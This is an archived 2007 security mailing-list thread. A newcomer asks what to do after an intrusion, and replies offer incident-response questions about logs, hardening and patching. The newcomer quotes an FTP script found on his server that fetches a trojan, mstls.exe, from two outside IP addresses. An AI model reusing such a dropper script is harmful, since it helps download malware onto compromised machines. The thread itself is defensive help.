Security Basics mailing list archives
RE: what next
From: "Murda Mcloud" <murdamcloud () bigpond com>
Date: Wed, 7 Feb 2007 10:40:43 +1000
Hi Nemanja, For me next would be determining how it got into your server. Was it from outside or inside the perimeter? Can you see evidence of this 'access' in your logs-firewall/server etc? Any other files that were modified at the same time as that file was created? Did it spawn any other exe's? Do you use the server for browsing-is it necessary? How can you harden it? Is it patched and up to date with virus defs? Was it actually an 'attacker' sitting at a console placing it on your server or was it some drive by download? Are there services that you could disable on the server that are unnecessary? -----Original Message----- From: listbounce () securityfocus com [mailto:listbounce () securityfocus com] On Behalf Of Justin Sent: Wednesday, February 07, 2007 1:19 AM To: nemanja.janic () centroproizvod co yu Cc: security-basics () securityfocus com Subject: Re: what next nemanja.janic () centroproizvod co yu wrote:
Hello list, i wasn't sure where to post this, and since i'm just starting out in
security, i figured that this is the place.
Here goes: i've had a fine unknown gentleman enter at his will to my server; among
other things he left behind a file named tt (no extension) which contained the following lines:
open 80.93.223.22 14547 user 1 1 get mstls.exe quit open 80.71.219.134 5191 user 1 1 get mstls.exe quit I figure this is some script to be used with ftp, or at least i think so. I did tracert to those adresses, but that's where i'm stuck. What can i do
next?
And any idea what that mstls.exe is? I deleted it, but it was 0 bytes in
size.
Thanx in advance.
http://www.greatis.com/appdata/d/m/mstls.exe.htm -- Trojan/Backdoor The file is an FTP script to StnyFtpd (for the ip address: 80.93.223.22). Goodluck -Justin
Current thread:
- what next nemanja . janic (Feb 06)
- Re: what next Justin (Feb 06)
- RE: what next Murda Mcloud (Feb 07)
- RE: what next Devin Rambo (Feb 07)
- RE: what next Roger A. Grimes (Feb 07)
- Re: what next jhori (Feb 07)
- Re: what next etropos (Feb 07)
- <Possible follow-ups>
- Re: what next hackman (Feb 06)
- Re: what next RunandHide (Feb 06)
- Re: RE: what next nemanja . janic (Feb 07)
- Re: Re: RE: what next nemanja . janic (Feb 12)
- Re: what next Justin (Feb 06)